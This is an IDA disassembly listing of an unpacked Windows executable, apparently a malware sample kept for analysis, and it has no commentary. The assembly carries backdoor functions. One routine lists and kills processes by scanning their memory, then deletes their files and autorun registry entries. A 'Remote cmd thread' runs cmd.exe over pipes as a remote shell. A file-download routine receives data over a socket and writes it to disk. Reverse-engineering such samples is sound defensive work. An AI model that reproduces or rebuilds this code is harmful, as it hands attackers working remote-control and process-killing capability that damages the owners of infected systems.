;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 5071EF624C2DE7B595794E1CFE211DB4
; File Name : u:\work\5071ef624c2de7b595794e1cfe211db4_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0001B000 ( 110592.)
; Section size in file : 0001B000 ( 110592.)
; Offset to raw data for section: 00001000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_packed segment para public 'CODE' use32
assume cs:_packed
;org 401000h
assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_40110A+30p
; sub_40110A+3Ep ...
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = byte ptr -58h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 260h
push ebx
xor ebx, ebx
cmp off_413000, ebx
mov [ebp+var_C], ebx
jz loc_401104
push esi
mov eax, offset off_413000
push edi
mov edi, dword_412008
mov [ebp+var_18], eax
mov esi, 104h
loc_401030: ; CODE XREF: sub_401000+FCj
push dword ptr [eax]
lea eax, [ebp+var_58]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_58]
push eax
call sub_40B5E1
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
push 3
lea eax, [ebp+var_58]
push ebx
push eax
push [ebp+arg_0]
call dword_412000
lea eax, [ebp+var_4]
mov [ebp+var_10], ebx
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_260]
mov [ebp+var_14], esi
push eax
mov [ebp+var_4], esi
push ebx
loc_401080: ; CODE XREF: sub_401000+E6j
push [ebp+var_8]
call edi
test eax, eax
jnz short loc_4010E8
cmp [ebp+var_1C], 1
jnz short loc_4010BF
push [ebp+arg_4]
lea eax, [ebp+var_15C]
push [ebp+var_4]
push eax
call sub_405A0D
add esp, 0Ch
test eax, eax
jz short loc_4010BF
lea eax, [ebp+var_260]
push eax
push [ebp+var_8]
call dword_412004
test eax, eax
jnz short loc_4010BF
inc [ebp+var_C]
loc_4010BF: ; CODE XREF: sub_401000+8Dj
; sub_401000+A6j ...
lea eax, [ebp+var_4]
inc [ebp+var_10]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_260]
mov [ebp+var_14], esi
push eax
mov [ebp+var_4], esi
push [ebp+var_10]
jmp short loc_401080
; ---------------------------------------------------------------------------
loc_4010E8: ; CODE XREF: sub_401000+87j
push [ebp+var_8]
call dword_412028
mov eax, [ebp+var_18]
add eax, 4
mov [ebp+var_18], eax
cmp [eax], ebx
jnz loc_401030
pop edi
pop esi
loc_401104: ; CODE XREF: sub_401000+15j
mov eax, [ebp+var_C]
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40110A proc near ; CODE XREF: sub_4011C4+23Bp
; sub_407A76+68Ep
var_104 = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push 80h
push esi
call dword_4120B0 ; SetFileAttributesA
test eax, eax
jz loc_4011BF
push esi
call dword_4120B8 ; DeleteFileA
push esi
push 80000001h
call sub_401000
mov ebx, 80000002h
push esi
push ebx
mov edi, eax
call sub_401000
add esp, 10h
add eax, edi
jnz short loc_4011BF
mov edi, 104h
lea eax, [ebp+var_104]
push edi
push esi
push eax
call sub_4059C2
lea eax, [ebp+var_104]
push eax
call sub_4114BE ; strlen
add esp, 10h
test eax, eax
jz short loc_40119E
loc_40117A: ; CODE XREF: sub_40110A+78j
cmp byte ptr [esi+eax-1], 5Ch
jz short loc_401186
dec eax
jnz short loc_40117A
jmp short loc_40119E
; ---------------------------------------------------------------------------
loc_401186: ; CODE XREF: sub_40110A+75j
lea eax, [ebp+eax+var_104]
push edi
push eax
lea eax, [ebp+var_104]
push eax
call sub_4059C2
add esp, 0Ch
loc_40119E: ; CODE XREF: sub_40110A+6Ej
; sub_40110A+7Aj
lea eax, [ebp+var_104]
push eax
push 80000001h
call sub_401000
lea eax, [ebp+var_104]
push eax
push ebx
call sub_401000
add esp, 10h
loc_4011BF: ; CODE XREF: sub_40110A+1Dj
; sub_40110A+48j
pop edi
pop esi
pop ebx
leave
retn
sub_40110A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4011C4 proc near ; DATA XREF: sub_4014B0+74o
var_3D0 = byte ptr -3D0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_2C7 = dword ptr -2C7h
var_2C3 = byte ptr -2C3h
var_2C2 = byte ptr -2C2h
var_1C3 = byte ptr -1C3h
var_2B = byte ptr -2Bh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D0h
push 2ACh
lea eax, [ebp+var_2CC]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
add esp, 10h
cmp [ebp+var_2C8], 0
jz short loc_401218
lea eax, [ebp+var_2C3]
push eax
mov eax, [ebp+var_2CC]
push dword ptr [eax]
lea eax, [ebp+var_1C3]
push offset dword_413144
push eax
call sub_4096CB
add esp, 10h
loc_401218: ; CODE XREF: sub_4011C4+2Fj
push ebx
push esi
call sub_404639
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jz loc_40149C
push edi
push 10000h
call sub_4114C4 ; malloc
cmp [esi], ebx
pop ecx
mov [ebp+arg_0], eax
mov [ebp+var_8], ebx
mov [ebp+var_10], ebx
jle loc_40143E
xor edi, edi
loc_40124A: ; CODE XREF: sub_4011C4+269j
call dword_4120F0
mov ecx, [esi+4]
cmp [edi+ecx], eax
jz loc_40141F
lea eax, [ebp+var_3D0]
push 104h
push eax
push ebx
call dword_412094 ; GetModuleHandleA
push eax
call dword_412098 ; GetModuleFileNameA
mov eax, [esi+4]
lea eax, [edi+eax+0Ch]
push eax
lea eax, [ebp+var_3D0]
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz loc_40141F
mov eax, [esi+4]
push dword ptr [edi+eax]
mov al, [ebp+var_2C8]
neg al
sbb eax, eax
push ebx
add eax, 11h
push eax
call dword_41209C ; OpenProcess
cmp eax, ebx
mov [ebp+var_4], eax
jz loc_40141F
xor edx, edx
mov [ebp+var_C], ebx
mov [ebp+var_20], edx
loc_4012C2: ; CODE XREF: sub_4011C4+1DAj
mov eax, [esi+4]
mov [ebp+var_18], 10000h
add eax, edi
mov ecx, [eax+8]
sub ecx, edx
cmp ecx, 10000h
ja short loc_4012DE
mov [ebp+var_18], ecx
loc_4012DE: ; CODE XREF: sub_4011C4+115j
mov eax, [eax+4]
lea ecx, [ebp+var_C]
push ecx
add eax, edx
push [ebp+var_18]
push [ebp+arg_0]
push eax
push [ebp+var_4]
call dword_4120A0 ; ReadProcessMemory
test eax, eax
jz loc_40138A
cmp [ebp+var_C], ebx
jz loc_40138A
xor ecx, ecx
loc_40130A: ; CODE XREF: sub_4011C4+1B9j
mov eax, [ebp+arg_0]
mov al, [ecx+eax]
cmp al, [ebp+var_2C3]
jz short loc_401330
movsx edx, al
movsx eax, [ebp+var_2C3]
lea ebx, [eax+20h]
cmp edx, ebx
jz short loc_401330
add eax, 0FFFFFFE0h
cmp edx, eax
jnz short loc_401371
loc_401330: ; CODE XREF: sub_4011C4+152j
; sub_4011C4+163j
lea eax, [ebp+var_2C2]
mov [ebp+var_14], eax
mov eax, [ebp+arg_0]
lea eax, [ecx+eax+1]
mov [ebp+var_1C], eax
loc_401343: ; CODE XREF: sub_4011C4+1ABj
mov eax, [ebp+var_14]
mov dl, [eax]
test dl, dl
jz short loc_401381
mov eax, [ebp+var_1C]
mov al, [eax]
cmp dl, al
jz short loc_401369
movsx eax, al
movsx edx, dl
lea ebx, [eax+20h]
cmp edx, ebx
jz short loc_401369
add eax, 0FFFFFFE0h
cmp edx, eax
jnz short loc_401371
loc_401369: ; CODE XREF: sub_4011C4+18Fj
; sub_4011C4+19Cj
inc [ebp+var_1C]
inc [ebp+var_14]
jmp short loc_401343
; ---------------------------------------------------------------------------
loc_401371: ; CODE XREF: sub_4011C4+16Aj
; sub_4011C4+1A3j
mov eax, [ebp+var_C]
inc ecx
sub eax, [ebp+var_2C7]
cmp ecx, eax
jbe short loc_40130A
jmp short loc_40138A
; ---------------------------------------------------------------------------
loc_401381: ; CODE XREF: sub_4011C4+186j
mov eax, [ebp+arg_0]
add ecx, eax
test ecx, ecx
jnz short loc_4013A3
loc_40138A: ; CODE XREF: sub_4011C4+135j
; sub_4011C4+13Ej ...
mov edx, [ebp+var_20]
mov eax, [esi+4]
add edx, [ebp+var_18]
cmp edx, [edi+eax+8]
mov [ebp+var_20], edx
jz short loc_401414
xor ebx, ebx
jmp loc_4012C2
; ---------------------------------------------------------------------------
loc_4013A3: ; CODE XREF: sub_4011C4+1C4j
inc [ebp+var_8]
cmp [ebp+var_2C8], 0
jz short loc_4013EC
push 3E8h
call dword_4120A4 ; Sleep
mov bl, [ebp+var_2B]
and [ebp+var_2B], 0
mov eax, [esi+4]
add eax, edi
push dword ptr [eax]
add eax, 0Ch
push eax
lea eax, [ebp+var_2C3]
push eax
lea eax, [ebp+var_1C3]
push offset dword_41311C
push eax
call sub_4096CB
add esp, 14h
mov [ebp+var_2B], bl
jmp short loc_401405
; ---------------------------------------------------------------------------
loc_4013EC: ; CODE XREF: sub_4011C4+1E9j
push 0
push [ebp+var_4]
call dword_4120A8 ; TerminateProcess
mov eax, [esi+4]
lea eax, [edi+eax+0Ch]
push eax
call sub_40110A
pop ecx
loc_401405: ; CODE XREF: sub_4011C4+226j
mov eax, [ebp+var_2CC]
xor ebx, ebx
cmp [eax+4], ebx
jnz short loc_401435
jmp short loc_401416
; ---------------------------------------------------------------------------
loc_401414: ; CODE XREF: sub_4011C4+1D6j
xor ebx, ebx
loc_401416: ; CODE XREF: sub_4011C4+24Ej
push [ebp+var_4]
call dword_4120AC ; CloseHandle
loc_40141F: ; CODE XREF: sub_4011C4+92j
; sub_4011C4+CAj ...
inc [ebp+var_10]
add edi, 114h
mov eax, [ebp+var_10]
cmp eax, [esi]
jl loc_40124A
jmp short loc_40143E
; ---------------------------------------------------------------------------
loc_401435: ; CODE XREF: sub_4011C4+24Cj
push [ebp+var_4]
call dword_4120AC ; CloseHandle
loc_40143E: ; CODE XREF: sub_4011C4+7Ej
; sub_4011C4+26Fj
push esi
call sub_404854
push [ebp+arg_0]
call sub_4114CA ; free
cmp [ebp+var_2C8], 0
pop ecx
pop ecx
pop edi
jz short loc_40149C
push 3E8h
call dword_4120A4 ; Sleep
cmp [ebp+var_8], ebx
lea eax, [ebp+var_2C3]
push eax
jnz short loc_401485
lea eax, [ebp+var_1C3]
push offset dword_4130F8
push eax
call sub_4096CB
add esp, 0Ch
jmp short loc_40149C
; ---------------------------------------------------------------------------
loc_401485: ; CODE XREF: sub_4011C4+2A9j
push [ebp+var_8]
lea eax, [ebp+var_1C3]
push offset dword_4130CC
push eax
loc_401494: ; DATA XREF: .packed:off_415DACo
call sub_4096CB
add esp, 10h
loc_40149C: ; CODE XREF: sub_4011C4+61j
; sub_4011C4+292j ...
push [ebp+var_2CC]
call sub_406E6F
pop ecx
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4011C4 endp
; =============== S U B R O U T I N E =======================================
sub_4014B0 proc near ; CODE XREF: sub_407A76+6AFp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_401531
push edi
call sub_4114BE ; strlen
test eax, eax
pop ecx
jz short loc_401531
push 2ACh
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_401531
push ebx
mov bl, [esp+0Ch+arg_8]
push edi
mov [esi+4], bl
call sub_4114BE ; strlen
mov [esi+5], eax
mov [esp+10h+var_10], 100h
lea eax, [esi+9]
push edi
push eax
call sub_4114D6 ; strncpy
push [esp+18h+arg_0]
lea eax, [esi+109h]
push eax
call sub_40457C
add esp, 14h
mov eax, offset aListing ; "Listing"
test bl, bl
pop ebx
jnz short loc_40151A
mov eax, offset aKilling ; "Killing"
loc_40151A: ; CODE XREF: sub_4014B0+63j
push edi
push eax
push offset dword_413174
push 0
push esi
push offset sub_4011C4
call sub_406D58
add esp, 18h
loc_401531: ; CODE XREF: sub_4014B0+8j
; sub_4014B0+13j ...
pop edi
pop esi
retn
sub_4014B0 endp
; =============== S U B R O U T I N E =======================================
sub_401534 proc near ; CODE XREF: sub_401621:loc_40188Dp
mov eax, dword_4191C4
push esi
mov esi, dword_4120AC
cmp eax, 0FFFFFFFFh
jz short loc_401548
push eax
call esi ; CloseHandle
loc_401548: ; CODE XREF: sub_401534+Fj
mov eax, dword_4191B8
cmp eax, 0FFFFFFFFh
jz short loc_401555
push eax
call esi ; CloseHandle
loc_401555: ; CODE XREF: sub_401534+1Cj
mov eax, dword_4191BC
cmp eax, 0FFFFFFFFh
jz short loc_401562
push eax
call esi ; CloseHandle
loc_401562: ; CODE XREF: sub_401534+29j
mov eax, dword_4191C0
cmp eax, 0FFFFFFFFh
jz short loc_40156F
push eax
call esi ; CloseHandle
loc_40156F: ; CODE XREF: sub_401534+36j
pop esi
retn
sub_401534 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401571 proc near ; CODE XREF: sub_401621+228p
; sub_401621+252p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 200h
push esi
mov esi, [ebp+arg_0]
cmp byte ptr [esi+189h], 0
jnz short loc_401590
cmp byte ptr [esi+18Dh], 0
jz short loc_4015CE
loc_401590: ; CODE XREF: sub_401571+14j
; sub_401571+49j ...
push 32h
call dword_4120A4 ; Sleep
cmp byte ptr [esi+189h], 0
jz short loc_4015B3
call sub_4114E2 ; clock
sub eax, dword_4191CC
cmp eax, 1F4h
jnb short loc_4015CE
loc_4015B3: ; CODE XREF: sub_401571+2Ej
cmp byte ptr [esi+18Dh], 0
jz short loc_401590
call sub_4114E2 ; clock
sub eax, dword_4191CC
cmp eax, 0FAh
jb short loc_401590
loc_4015CE: ; CODE XREF: sub_401571+1Dj
; sub_401571+40j
call sub_4114E2 ; clock
mov ecx, [ebp+arg_4]
mov dword_4191CC, eax
mov al, [ecx]
cmp al, 0Ah
jz short loc_4015FC
cmp al, 0Dh
jz short loc_4015FC
push 200h
lea eax, [ebp+var_200]
push ecx
push eax
call sub_4059C2
add esp, 0Ch
jmp short loc_40160F
; ---------------------------------------------------------------------------
loc_4015FC: ; CODE XREF: sub_401571+6Ej
; sub_401571+72j
lea eax, [ebp+var_200]
push offset dword_4131A4
push eax
call sub_4114DC ; sprintf
pop ecx
pop ecx
loc_40160F: ; CODE XREF: sub_401571+89j
lea eax, [ebp+var_200]
push eax
push esi
call sub_4096CB
pop ecx
pop ecx
pop esi
leave
retn
sub_401571 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401621 proc near ; DATA XREF: sub_4018D5+73o
var_724 = byte ptr -724h
var_620 = byte ptr -620h
var_420 = dword ptr -420h
var_21C = byte ptr -21Ch
var_78 = dword ptr -78h
var_4C = dword ptr -4Ch
var_48 = word ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 724h
push ebx
push esi
push edi
push 3A7h
push [ebp+arg_0]
lea eax, [ebp+var_420]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
add esp, 10h
call sub_4114E2 ; clock
sub eax, 1F4h
xor esi, esi
mov dword_4191CC, eax
lea eax, [ebp+var_724]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_412074 ; SearchPathA
test eax, eax
jz loc_401892
push 1
lea eax, [ebp+var_20]
pop ebx
mov edi, dword_412078
push esi
push eax
lea eax, [ebp+var_10]
mov [ebp+var_20], 0Ch
push eax
lea eax, [ebp+var_14]
push eax
mov [ebp+var_18], ebx
mov [ebp+var_1C], esi
call edi ; CreatePipe
test eax, eax
jz loc_40188D
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_40188D
mov edi, dword_4120F8
push 3
push esi
push esi
push offset dword_4191C0
call edi
push eax
push [ebp+var_8]
call edi
push eax
call dword_412080 ; DuplicateHandle
test eax, eax
jz loc_40188D
push 10h
lea eax, [ebp+var_34]
push esi
push eax
call sub_4114E8 ; memset
push 44h
lea eax, [ebp+var_78]
pop edi
push edi
push esi
push eax
call sub_4114E8 ; memset
mov eax, [ebp+var_C]
add esp, 18h
mov [ebp+var_40], eax
mov eax, [ebp+var_10]
mov [ebp+var_3C], eax
mov [ebp+var_38], eax
lea eax, [ebp+var_34]
mov [ebp+var_78], edi
push eax
lea eax, [ebp+var_78]
push eax
push esi
push esi
push esi
push ebx
push esi
push esi
lea eax, [ebp+var_724]
push offset byte_4191D0
push eax
mov [ebp+var_4C], 101h
mov [ebp+var_48], si
call dword_412084 ; CreateProcessA
test eax, eax
jz loc_40188D
push [ebp+var_C]
mov edi, dword_4120AC
call edi ; CloseHandle
mov eax, [ebp+var_14]
push [ebp+var_30]
mov dword_4191C4, eax
mov eax, [ebp+var_8]
mov dword_4191B8, eax
mov eax, [ebp+var_34]
mov dword_4191BC, eax
call edi ; CloseHandle
mov eax, [ebp+var_420]
mov [ebp+var_4], esi
cmp [eax+4], esi
jnz loc_40188D
mov edi, 200h
mov ebx, 103h
loc_40178F: ; CODE XREF: sub_401621+238j
push edi
lea eax, [ebp+var_620]
push esi
push eax
call sub_4114E8 ; memset
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push esi
push eax
lea eax, [ebp+var_620]
push edi
push eax
push dword_4191C4
call dword_412088 ; PeekNamedPipe
test eax, eax
jz loc_401867
cmp [ebp+var_4], esi
jnz short loc_4017F1
lea eax, [ebp+arg_0]
mov [ebp+arg_0], ebx
push eax
push dword_4191BC
call dword_41208C ; GetExitCodeProcess
test eax, eax
jz short loc_4017E7
cmp [ebp+arg_0], ebx
jnz loc_40187A
loc_4017E7: ; CODE XREF: sub_401621+1BBj
push 0Ah
call dword_4120A4 ; Sleep
jmp short loc_401850
; ---------------------------------------------------------------------------
loc_4017F1: ; CODE XREF: sub_401621+1A4j
xor eax, eax
cmp [ebp+var_4], esi
jbe short loc_401808
loc_4017F8: ; CODE XREF: sub_401621+1E5j
cmp [ebp+eax+var_620], 0Ah
jz short loc_401861
inc eax
cmp eax, [ebp+var_4]
jb short loc_4017F8
loc_401808: ; CODE XREF: sub_401621+1D5j
mov [ebp+var_4], edi
loc_40180B: ; CODE XREF: sub_401621+244j
push edi
lea eax, [ebp+var_620]
push esi
push eax
call sub_4114E8 ; memset
add esp, 0Ch
lea eax, [ebp+var_24]
push esi
push eax
push [ebp+var_4]
lea eax, [ebp+var_620]
push eax
push dword_4191C4
call dword_412090 ; ReadFile
test eax, eax
jz short loc_40188D
lea eax, [ebp+var_620]
push eax
lea eax, [ebp+var_21C]
push eax
call sub_401571
pop ecx
pop ecx
loc_401850: ; CODE XREF: sub_401621+1CEj
mov eax, [ebp+var_420]
cmp [eax+4], esi
jz loc_40178F
jmp short loc_40188D
; ---------------------------------------------------------------------------
loc_401861: ; CODE XREF: sub_401621+1DFj
inc eax
mov [ebp+var_4], eax
jmp short loc_40180B
; ---------------------------------------------------------------------------
loc_401867: ; CODE XREF: sub_401621+19Bj
lea eax, [ebp+var_21C]
push offset aCouldNotReadDa ; "Could not read data from process."
push eax
call sub_401571
jmp short loc_40188B
; ---------------------------------------------------------------------------
loc_40187A: ; CODE XREF: sub_401621+1C0j
lea eax, [ebp+var_21C]
push offset aCmd_exeProcess ; "Cmd.exe process has terminated."
push eax
call sub_4096CB
loc_40188B: ; CODE XREF: sub_401621+257j
pop ecx
pop ecx
loc_40188D: ; CODE XREF: sub_401621+85j
; sub_401621+9Cj ...
call sub_401534
loc_401892: ; CODE XREF: sub_401621+58j
push [ebp+var_420]
call sub_406E6F
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_401621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018A7 proc near ; CODE XREF: sub_4018D5+90p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_4114BE ; strlen
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4191C0
call dword_412070 ; WriteFile
neg eax
sbb eax, eax
neg eax
leave
retn
sub_4018A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018D5 proc near ; CODE XREF: sub_407A76+12B3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp [eax+198h], bl
push edi
jz short loc_401905
cmp [ebp+arg_4], ebx
jz loc_401980
push ebx
push ebx
push ebx
push [ebp+arg_4]
push offset aOpen ; "open"
push ebx
call dword_4121E4
jmp short loc_401980
; ---------------------------------------------------------------------------
loc_401905: ; CODE XREF: sub_4018D5+11j
push 3A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
cmp esi, ebx
jz short loc_401980
mov edi, [ebp+arg_4]
cmp edi, ebx
jz short loc_40192F
push 200h
lea eax, [esi+4]
push edi
push eax
call sub_4059C2
add esp, 0Ch
loc_40192F: ; CODE XREF: sub_4018D5+46j
push [ebp+arg_0]
lea eax, [esi+204h]
push eax
call sub_40457C
pop ecx
pop ecx
push offset aRemoteCmdThrea ; "Remote cmd thread"
push 1
push esi
push offset sub_401621
call sub_406D58
add esp, 10h
cmp edi, ebx
jz short loc_401980
push offset asc_413214 ; "\r\n"
push edi
call sub_4114EE ; _mbscat
push edi
call sub_4018A7
add esp, 0Ch
test eax, eax
jnz short loc_401980
push offset aErrorWhileExec ; "Error while executing command."
push [ebp+arg_0]
call sub_4096CB
pop ecx
pop ecx
loc_401980: ; CODE XREF: sub_4018D5+16j
; sub_4018D5+2Ej ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4018D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401985 proc near ; DATA XREF: sub_401EA8+E9o
var_604 = qword ptr -604h
var_5FC = qword ptr -5FCh
var_5E8 = byte ptr -5E8h
var_3E8 = dword ptr -3E8h
var_3E4 = byte ptr -3E4h
var_3C3 = byte ptr -3C3h
var_2BF = byte ptr -2BFh
var_1BF = byte ptr -1BFh
var_1B5 = byte ptr -1B5h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5E8h
push esi
push 3D6h
push [ebp+arg_0]
lea eax, [ebp+var_3E8]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
add esp, 10h
lea eax, [ebp+var_3C3]
push eax
call dword_4120B8 ; DeleteFileA
lea eax, [ebp+var_3C3]
push offset dword_4132AC
push eax
call sub_411506 ; fopen
xor esi, esi
pop ecx
cmp eax, esi
pop ecx
mov [ebp+var_10], eax
jnz short loc_4019E4
push [ebp+var_3E8]
call sub_406E6F
jmp short loc_401A1B
; ---------------------------------------------------------------------------
loc_4019E4: ; CODE XREF: sub_401985+50j
push 2710h
lea eax, [ebp+var_1BF]
push esi
push eax
lea eax, [ebp+var_2BF]
push eax
call sub_403C04
add esp, 10h
cmp eax, esi
mov [ebp+var_C], eax
jnz short loc_401A23
push [ebp+var_10]
call sub_411500 ; fclose
push [ebp+var_3E8]
call sub_406E6F
pop ecx
loc_401A1B: ; CODE XREF: sub_401985+5Dj
pop ecx
xor eax, eax
jmp loc_401B7C
; ---------------------------------------------------------------------------
loc_401A23: ; CODE XREF: sub_401985+80j
push ebx
lea eax, [ebp+var_3E4]
push edi
push eax
lea eax, [ebp+var_3C3]
push eax
mov eax, [ebp+var_3E8]
push dword ptr [eax]
lea eax, [ebp+var_1B5]
push offset dword_413280
push eax
call sub_4096CB
add esp, 14h
call sub_4114E2 ; clock
mov ebx, dword_412258
mov [ebp+var_4], esi
push esi
mov [ebp+arg_0], eax
mov esi, 200h
lea eax, [ebp+var_5E8]
push esi
push eax
push [ebp+var_C]
loc_401A71: ; CODE XREF: sub_401985+14Bj
call ebx ; recv
mov edi, eax
test edi, edi
jz short loc_401AD2
cmp edi, esi
ja short loc_401AD2
add [ebp+var_4], edi
push [ebp+var_4]
call dword_41225C ; htonl
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push 4
push eax
push [ebp+var_C]
call sub_403D9D
push [ebp+var_10]
lea eax, [ebp+var_5E8]
push edi
push 1
push eax
call sub_4114FA ; fwrite
add esp, 1Ch
cmp edi, esi
jb short loc_401AD2
mov eax, [ebp+var_3E8]
cmp dword ptr [eax+4], 0
jnz loc_401B5A
push 0
lea eax, [ebp+var_5E8]
push esi
push eax
push [ebp+var_C]
jmp short loc_401A71
; ---------------------------------------------------------------------------
loc_401AD2: ; CODE XREF: sub_401985+F2j
; sub_401985+F6j ...
push [ebp+var_10]
call sub_4114F4 ; ftell
pop ecx
mov esi, eax
call sub_4114E2 ; clock
cmp [ebp+arg_0], eax
jnz short loc_401AF0
call sub_4114E2 ; clock
dec eax
mov [ebp+arg_0], eax
loc_401AF0: ; CODE XREF: sub_401985+160j
mov eax, esi
mov ecx, 400h
cdq
idiv ecx
mov [ebp+var_8], eax
fild [ebp+var_8]
fstp [ebp+var_4]
call sub_4114E2 ; clock
sub eax, [ebp+arg_0]
push ecx
push ecx
mov [ebp+var_8], eax
fild [ebp+var_8]
fmul flt_412280
fdivr [ebp+var_4]
fstp [esp+5FCh+var_5FC]
call sub_4114E2 ; clock
sub eax, [ebp+arg_0]
push ecx
push ecx
mov [ebp+arg_0], eax
lea eax, [ebp+var_3E4]
fild [ebp+arg_0]
fmul flt_412280
fstp [esp+604h+var_604]
push eax
lea eax, [ebp+var_3C3]
push eax
lea eax, [ebp+var_1B5]
push offset dword_413234
push eax
call sub_4096CB
add esp, 20h
loc_401B5A: ; CODE XREF: sub_401985+138j
push [ebp+var_10]
call sub_411500 ; fclose
push [ebp+var_C]
call sub_403D70
push [ebp+var_3E8]
call sub_406E6F
add esp, 0Ch
xor eax, eax
pop edi
pop ebx
loc_401B7C: ; CODE XREF: sub_401985+99j
pop esi
leave
retn 4
sub_401985 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B81 proc near ; DATA XREF: sub_401FA3+65o
var_A1C = qword ptr -0A1Ch
var_A14 = qword ptr -0A14h
var_A00 = byte ptr -0A00h
var_5FC = byte ptr -5FCh
var_3FC = byte ptr -3FCh
var_2F8 = dword ptr -2F8h
var_2F4 = byte ptr -2F4h
var_2D3 = byte ptr -2D3h
var_2D2 = byte ptr -2D2h
var_1CF = byte ptr -1CFh
var_2C = byte ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A00h
push ebx
push esi
push edi
push 2CCh
push [ebp+arg_0]
lea eax, [ebp+var_2F8]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_2D3]
push eax
call sub_4114BE ; strlen
xor esi, esi
add esp, 14h
cmp eax, esi
jz short loc_401BCB
loc_401BBE: ; CODE XREF: sub_401B81+48j
cmp [ebp+eax+var_2D3], 5Ch
jz short loc_401BD3
dec eax
jnz short loc_401BBE
